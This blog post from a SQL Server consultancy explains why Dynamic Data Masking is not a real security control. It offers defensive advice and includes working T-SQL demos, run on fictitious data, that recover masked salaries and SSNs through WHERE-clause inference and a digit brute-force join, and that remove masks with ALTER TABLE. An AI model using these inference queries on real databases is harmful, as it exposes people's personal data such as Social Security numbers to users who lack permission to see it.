SQL Server Dynamic Data Masking Security Pitfalls: How Masked Data Gets Exposed

, ,
SQL Server Dynamic Data Masking (DDM) is one of those SQL Server features that is commonly misused as a primary security feature used in production. Since it landed in SQL Server 2016, I’ve seen teams throw it at compliance requirements and call it a day, only to find out later that their “masked” data was completely readable by anyone willing to spend 20 minutes in SSMS.

Let me show you some data masking limitations in SQL Server when used for security, and what you should be doing instead (or alongside it) if you’re serious about Zero Trust data security.

TL;DR SQL Server Dynamic Data Masking is a presentation layer feature, not a security feature.


 

SQL Server Dynamic Data Masking Security?

Dynamic Data Masking intercepts query results at the engine level and replaces sensitive column values with masked versions for users who lack the UNMASK permission. The actual data in the database is unchanged — DDM is purely a presentation-layer filter. Again, DDM is a presentation-layer filer.


Security Pitfall 1: Inferring Masked Values with WHERE Clause Attacks

This is the big one. SQL Server Dynamic Data Masking masks the output of a query. It does nothing to prevent a user from using the masked column in a WHERE clause.

Here’s what that looks like in practice:

-- The user can't see the salary column directly (it's masked)
SELECT EmployeeID, Salary FROM HR.Employees;
-- Returns: 1, xxxx

-- But they CAN do this:
SELECT EmployeeID FROM HR.Employees WHERE Salary BETWEEN 95000 AND 105000;
-- Returns rows — meaning they just learned who earns in that range

By running enough range queries, a patient attacker can binary-search their way to the exact value of any masked numeric column. For salary data, SSNs, account numbers, or any structured numeric field, this completely defeats the purpose of masking the data.

Microsoft’s own documentation acknowledges this. It’s not a bug — it’s a documented architectural constraint. DDM was never designed to stop a determined insider.

Here is another example, from start to finish, showing why you should encrypt sensitive data. Let’s look at using predicates to extract Social Security numbers (SSNs). The following demo uses fictitious generated data for people.

SQL Server Dynamic Data Masking Security – SSN Demo


CREATE DATABASE [demo]
GO

USE [demo]
go

CREATE TABLE dbo.Person (
    PersonID  int   NOT NULL
      CONSTRAINT PK_dboPerson 
           PRIMARY KEY CLUSTERED  identity
    ,FirstName  varchar(50)  NULL
    ,LastName  varchar(50) NULL
    ,SSN  varchar(11)  NULL
)
GO

INSERT INTO dbo.Person (FirstName, LastName, SSN)
VALUES
    ('Patricia', 'Smith', '760-36-4013'),
    ('Linda', 'Jones', '755-14-8936'),
    ('John', 'Lee', '433-05-0489'),
    ('John', 'Miller', '239-65-9864'),
    ('James', 'Martin', '204-92-8929'),
    ('Jessica', 'Davis', '460-76-4558'),
    ('James', 'Garcia', '715-55-5575'),
    ('William', 'Jones', '221-98-5515'),
    ('Patricia', 'Williams', '390-13-5882'),
    ('Susan', 'Perez', '271-06-7528'),
    ('Karen', 'Brown', '388-11-9045'),
    ('Barbara', 'Perez', '883-47-9460'),
    ('Michael', 'Williams', '047-85-3734'),
    ('Barbara', 'Williams', '876-30-1655'),
    ('Richard', 'Martinez', '465-82-5978'),
    ('Jennifer', 'Wilson', '364-27-4375'),
    ('John', 'Perez', '651-22-8752'),
    ('Linda', 'Garcia', '474-49-4423'),
    ('Karen', 'Davis', '702-42-0917'),
    ('Linda', 'Johnson', '825-41-6573');
    GO

-- Nothing is masked, can see SSN's 
select * from dbo.Person
If we are users with UNMASK access, here is what we would see.
Fictitious SSN data that will be exposed through SQL Server Dynamic Data Masking

Fictitious SSN data that will be exposed through SQL Server Dynamic Data Masking

Let’s now enable SQL Server Dynamic Data Masking to mask Social Security numbers (SSNs).  We will create a MaskedUser for testing purposes to see the results from a masked user’s perspective.

/* Mask SSN's */
ALTER TABLE dbo.Person
ALTER COLUMN SSN
ADD MASKED WITH (FUNCTION = 'default()')
GO

/* Create testing user */
CREATE USER [MaskedUser] WITHOUT LOGIN WITH DEFAULT_SCHEMA=[dbo]
GO
GRANT SELECT ON dbo.Person TO [MaskedUser];
GO

EXECUTE AS USER = 'MaskedUser';
GO
SELECT * FROM dbo.Person
GO
SQL Server Dynamic Data Masking at work. SSN's are masked for this user.

SQL Server Dynamic Data Masking at work. SSNs are masked for this user.

Okay, let’s now take a look at leveraging predicates to learn the data, even if it’s masked. Remember, DDM masks the output, not the input, in this case, the predicates. In the next example, we’re going to use predicates to check whether the SSNs match the xxx-xx-xxxx or xxxxxxxxx format.

EXECUTE AS USER = 'MaskedUser';
GO
SELECT COUNT(*) FROM dbo.Person
SELECT COUNT(*) FROM dbo.Person WHERE CHARINDEX('-', SSN) = 4
SELECT COUNT(*) FROM dbo.Person WHERE CHARINDEX('-', SSN, 5) = 7
REVERT;
SQL Server Dynamic Data Masking doesn't mask predicates just the output results

SQL Server Dynamic Data Masking doesn’t mask predicates, just the output results

Finally, here is where things get interesting. We can build table variables for each possible numeric value for a digit, filter the SSN masked column on each digit, and select the ones that match. This is how you can see SSNs even when you are the user who should see them masked.


SET NOCOUNT ON
GO
EXECUTE AS USER = 'MaskedUser';
GO
DECLARE @SSN1 TABLE (
    SSN1 char(3) PRIMARY KEY CLUSTERED
);
DECLARE 
    @SSN1Loop1        int = 0
    ,@SSN1Loop2        int = 0
    ,@SSN1Loop3        int = 0
WHILE @SSN1Loop1 < 10
BEGIN
    SELECT @SSN1Loop2 = 0
    WHILE @SSN1Loop2 < 10
    BEGIN
        SELECT @SSN1Loop3 = 0
        WHILE @SSN1Loop3 < 10
        BEGIN
            INSERT INTO @SSN1 (SSN1)
            SELECT CONVERT(char(1),@SSN1Loop1) 
                    + CONVERT(char(1),@SSN1Loop2) 
                    + CONVERT(char(1),@SSN1Loop3)
            SELECT @SSN1Loop3 += 1
        END
        SELECT @SSN1Loop2 += 1
    END
    SELECT @SSN1Loop1 += 1
END
--SELECT * FROM @SSN1
DECLARE @SSN2 TABLE (
    SSN2 char(2) PRIMARY KEY CLUSTERED
)
DECLARE 
    @SSN2Loop1        int = 0
    ,@SSN2Loop2        int = 0
WHILE @SSN2Loop1 < 10
BEGIN
    SELECT @SSN2Loop2 = 0
    WHILE @SSN2Loop2 < 10
    BEGIN
        INSERT INTO @SSN2 (SSN2)
        SELECT CONVERT(char(1),@SSN2Loop1) 
                  + CONVERT(char(1),@SSN2Loop2)
        SELECT @SSN2Loop2 += 1
    END
    SELECT @SSN2Loop1 += 1
END
--SELECT * FROM @SSN2
DECLARE @SSN3 TABLE (
    SSN3 char(4) PRIMARY KEY CLUSTERED
)
DECLARE 
    @SSN3Loop1        int = 0
    ,@SSN3Loop2        int = 0
    ,@SSN3Loop3        int = 0
    ,@SSN3Loop4        int = 0
WHILE @SSN3Loop1 < 10
BEGIN
    SELECT @SSN3Loop2 = 0
    WHILE @SSN3Loop2 < 10
    BEGIN
        SELECT @SSN3Loop3 = 0
        WHILE @SSN3Loop3 < 10
        BEGIN
            SELECT @SSN3Loop4 = 0
            WHILE @SSN3Loop4 < 10
            BEGIN
                INSERT INTO @SSN3 (SSN3)
                SELECT CONVERT(char(1),@SSN3Loop1)  
                     + CONVERT(char(1),@SSN3Loop2) 
                     + CONVERT(char(1),@SSN3Loop3) 
                     + CONVERT(char(1),@SSN3Loop4)
                SELECT @SSN3Loop4 += 1
            END
            SELECT @SSN3Loop3 += 1
        END
        SELECT @SSN3Loop2 += 1
    END
    SELECT @SSN3Loop1 += 1
END
SELECT
    P.PersonID
    ,P.FirstName
    ,P.LastName
    ,P.SSN
    ,T1.SSN1
    ,T2.SSN2
    ,T3.SSN3
FROM dbo.Person P
    LEFT JOIN @SSN1 T1
        ON SUBSTRING(P.SSN,1,3) = T1.SSN1
    LEFT JOIN @SSN2 T2
        ON SUBSTRING(P.SSN,5,2) = T2.SSN2
    LEFT JOIN @SSN3 T3
        ON SUBSTRING(P.SSN,8,4) = T3.SSN3
ORDER BY P.PersonID;
GO
REVERT
GO
SQL Server Dynamic Data Masking predicate bypass attack showing SSN exposure

SQL Server Dynamic Data Masking predicate bypass attack showing SSN exposure

What to do instead: If users shouldn’t be able to filter on a column, they shouldn’t have SELECT on that table at all. Row-Level Security (RLS) combined with column-level encryption or Always Encrypted is the right tool here, not Dynamic Data Masking.


Security Pitfall 2: Anyone with ALTER TABLE Can Remove the Mask Entirely

Okay, let’s assume pitfall #1 didn’t stop you in your tracks from wanting to use SQL Server Dynamic Data Masking for security purposes outside the presentation layer (it should have).

Here’s one that gets overlooked in permission audits. Any user with ALTER TABLE or ALTER ANY MASK permission can simply drop it like it’s hot, the masking function from a column:

-- Requires ALTER TABLE permission (not UNMASK):
ALTER TABLE HR.Employees
ALTER COLUMN Salary DROP MASKED;

After that, everyone can read the data — no UNMASK needed. The mask is gone permanently until someone re-adds it. So users, could drop it, see what they need to see, and add it back.

If your people have db_ddladmin or elevated schema permissions (which many do in smaller shops), they can silently unmask entire tables. And because DDM changes don’t appear in the default audit logs unless you’ve explicitly set up an audit specification for it, this can go undetected.
What to do instead: Audit who has ALTER TABLE permissions. Create a SQL Server Audit specification that captures DATABASE_OBJECT_CHANGE_GROUP events to catch mask additions and removals. Treat DDM schema changes as security events, not as schema changes.

 


Security Pitfall 3: Metadata Is Fully Visible to Every User

Even a user with only VIEW ANY DEFINITION permissions can see exactly which columns are masked. This where Young Joc would say, “I know you see…”

SELECT 
    OBJECT_NAME(object_id) AS TableName,
    name AS ColumnName,
    masking_function
FROM sys.masked_columns;
This tells an attacker exactly which data is considered sensitive, which masking function is applied (which reveals the data type and format), and where to focus their inference attacks.
For something like a credit card number masked with partial(0,’XXXX-XXXX-XXXX-‘,4), the masking function itself reveals the exact format the attacker is trying to reconstruct.
What to do instead: There’s no way to hide this metadata — it’s in system views. Accept it as a constraint of Dynamic Data Masking and compensate by limiting who has any database access. Don’t rely on obscurity. All sensitive data should be encrypted and audited.

 


Security Pitfall 4: DDM Doesn’t Survive Data Movement

This is the one that kills compliance reviews. SQL Server Dynamic Data Masking is defined at the column level in the source table. If Cardi B was a DBA she would say, “Make the Data Move.”

The moment that data moves anywhere else, the mask disappears:

  • SELECT INTO / INSERT SELECT: The mask function is not copied to the destination table.
  • OPENROWSET / linked server queries: DDM is not enforced on remote result sets.
  • BCP / bulk export: Exports the unmasked data if run by a privileged account.
  • SSRS, Power BI, or any reporting tool: If the service account has UNMASK (or DDM isn’t configured in the cloud copy), the reports show real data.
  • Database backups: Backups contain the actual unmasked data. If the backup is restored by someone with elevated permissions, DDM means nothing.

Teams that use DDM to “protect” data flowing into a staging database or a data warehouse are providing exactly zero protection for that downstream data.

Here is an example of seeing that SELECT INTO doesn’t mask data in the destination table.


EXECUTE AS USER = 'MaskedUser';
GO
SELECT * 
FROM dbo.Person2
GO
REVERT
GO
Fictitious SSN data that will be exposed through SQL Server Dynamic Data Masking

Fictitious SSN data that will be exposed through SQL Server Dynamic Data Masking

What to do instead: Treat data movement as a security event. Apply encryption for data that needs to stay protected during movement. DDM belongs only in the presentation layer, not as a data-pipeline security control.


Security Pitfall 5: The UNMASK Permission A Security Vulnerability Sledgehammer

When Dynamic Data Masking was released with SQL Server 2016, you could either grant UNMASK  at the database level.  Just like O-town would sing, you can either Mask it All or Nothing at All.
With SQL Server 2022, Microsoft introduced granular UNMASK permissions (you can grant UNMASK on a specific schema, table, or column). On SQL Server 2019 and below, UNMASK is a database-level permission.
That means: if you grant a developer UNMASK so they can debug a production issue, they can now see unmasked data in every masked column across the entire database.
-- Granting this one permission unlocks everything:
GRANT UNMASK TO [DevUser];

This isn’t a theoretical risk. Dev teams routinely need production access for troubleshooting. If your escalation playbook involves handing out UNMASK, you’ve just handed them a master key.

What to do instead: Upgrade your permission model. If you’re on SQL Server 2022 or Azure SQL, use column-level UNMASK grants. If you’re on older versions, use static data masking with sanitized data for dev access rather than granting UNMASK on production. Again, I wouldn’t use Dynamic Data Masking for security purposes.


So Should You Use DDM at All?

Yes,but in the right context. DDM is legitimately useful for:

  • Reducing casual exposure in reporting environments where users cannot probe the data.
  • Limiting blast radius if a low-privilege account is compromised (they see masked output, not raw PII)
  • Satisfying compliance documentation requirements as only one layer in a defense-in-depth stack.

The problem is treating Dynamic Data masking as your primary security control. In a Zero Trust model, every layer needs to hold up under adversarial conditions. DDM does not by itself. It’s a trip wire, not a vault.

Your actual Zero Trust data security stack in SQL Server should look like this:

Layer Tool
Authentication Active Directory Domain Services / Entra ID + MFA
Column-level protection Always Encrypted or Column Level Encryption.
Row-level access Row-Level Security (RLS)
Presentation-layer masking Dynamic Data Masking (DDM)
Audit and detection SQL Server Audit + Microsoft Defender for SQL

DDM goes in the “presentation layer” bucket. The moment you understand that distinction, you’ll stop over-relying on it.

FAQ: Dynamic Data Masking in SQL Server

Here are some common questions that come up with SQL Server Dynamic Data Masking:

Does SQL Server Dynamic Data Masking protect against SQL injection?

No, Dynamic Data Masking in SQL Server provides zero protection against SQL injection attacks. SQL injection exploits vulnerabilities in how an application constructs queries, allowing an attacker to execute arbitrary SQL against your database.

Is Dynamic Data Masking HIPAA compliant?

Dynamic Data Masking in SQL Server alone is not sufficient for HIPAA compliance, but it can be one contributing layer in a compliant architecture.

What is the difference between DDM and Always Encrypted?

These two features operate at completely different layers of the stack and solve fundamentally different problems. At a high level, Dynamic Data Masking works at the presentation layer, and Always Encrypted encrypts the data.


The Takeaway

Dynamic Data Masking is a convenience feature with security side effects. Dynamic Data Masking is not a security feature with convenience side effects. If you’re using it as your main line of defense against unauthorized data access, you’re one curious person or one clever WHERE clause away from an data exposure incident.

 


John Sterrett is a Principal at ProcureSQL, a Microsoft Data Platform consultancy specializing in SQL Server performance, security, and Azure migrations. Follow him on YouTube and Instagram for weekly SQL Server content.

Questions or war stories about DDM? Drop them in the comments.

0 replies

Leave a Reply

Want to join the discussion?
Feel free to contribute!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.